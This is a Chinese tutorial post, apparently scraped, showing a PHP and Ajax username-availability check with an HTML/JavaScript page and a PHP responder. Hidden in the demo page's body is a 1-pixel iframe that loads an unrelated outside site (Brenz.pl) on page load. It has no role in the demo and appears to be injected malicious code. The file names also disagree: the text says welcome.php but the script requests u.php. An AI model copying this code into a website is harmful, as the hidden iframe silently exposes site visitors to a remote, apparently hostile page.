PHP结合Ajax实现登录验证的Demo
2016-03-15 23:33
826 查看
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
welcome.php
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
<html> <head> <meta http-equiv="content-type" content="text/html; charset=gb2312" /> <script type="text/JavaScript"> function Ajax(){ var xmlHttpReq=null;//初始对象xmlHttpReq if(window.ActiveXObject){ xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); }else if(window.XMLHttpRequest){ xmlHttpReq=new XMLHttpRequest(); } var userId=document.getElementById("userId").value;//value取得id为userId的值 url="u.php?userId="+userId;//路径 if(xmlHttpReq!=null){//若对象实例化创建成功 xmlHttpReq.open("GET",url,true);//open()打开请求 xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() xmlHttpReq.send(null);//请求不包括正文 } function RequestCallBack(){//回调函数 if(xmlHttpReq.readystate==4){ if(xmlHttpReq.status==200){//请求成功 document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div } } } } </script> </head> <body> <font> 注册 </font><br> <form> 用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> <div id="get"> </div> </form> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html>
welcome.php
<?php header("content-type:text/html;charset=gb2312"); //sleep(1); $userId=$_GET["userId"]; if($userId=="管理员"){ echo "用户名已存在!"; }else{ echo "该用户名可以注册"; } ?>
相关文章推荐
- PHP实现一个日历
- 正则表达式在PHP里的应用
- phpmyadmin使用空密码登入配置方法
- vsftpd: not configured for standalone, must be started from inetd
- 安卓第十四天笔记-内容提供者(ContentProvider)
- php利用svn hooks将程序自动发布到测试环境
- PHP高效率写法(详解原因)
- PHP 二维数组赋值
- PHP导出数据为excel表格
- OutputDebugString方便格式化WIN32封装
- PhpStorm +xdebug 调试安装配置注意事项
- [国嵌攻略][149][Yaffs2文件系统应用]
- ubuntu编译内核时出现“when writing output to /tmp/ccf0eS0W.s: No space left on device”
- ContentProvider
- 比较好用的PHP防注入漏洞过滤函数代码
- yii2后台上传图片,前台也能显示 的方法
- yii2.0 的数据的 查 删
- thinkphp 使用cli方式刷脚本
- vsftpd.conf文件说明
- PHPUnit单元测试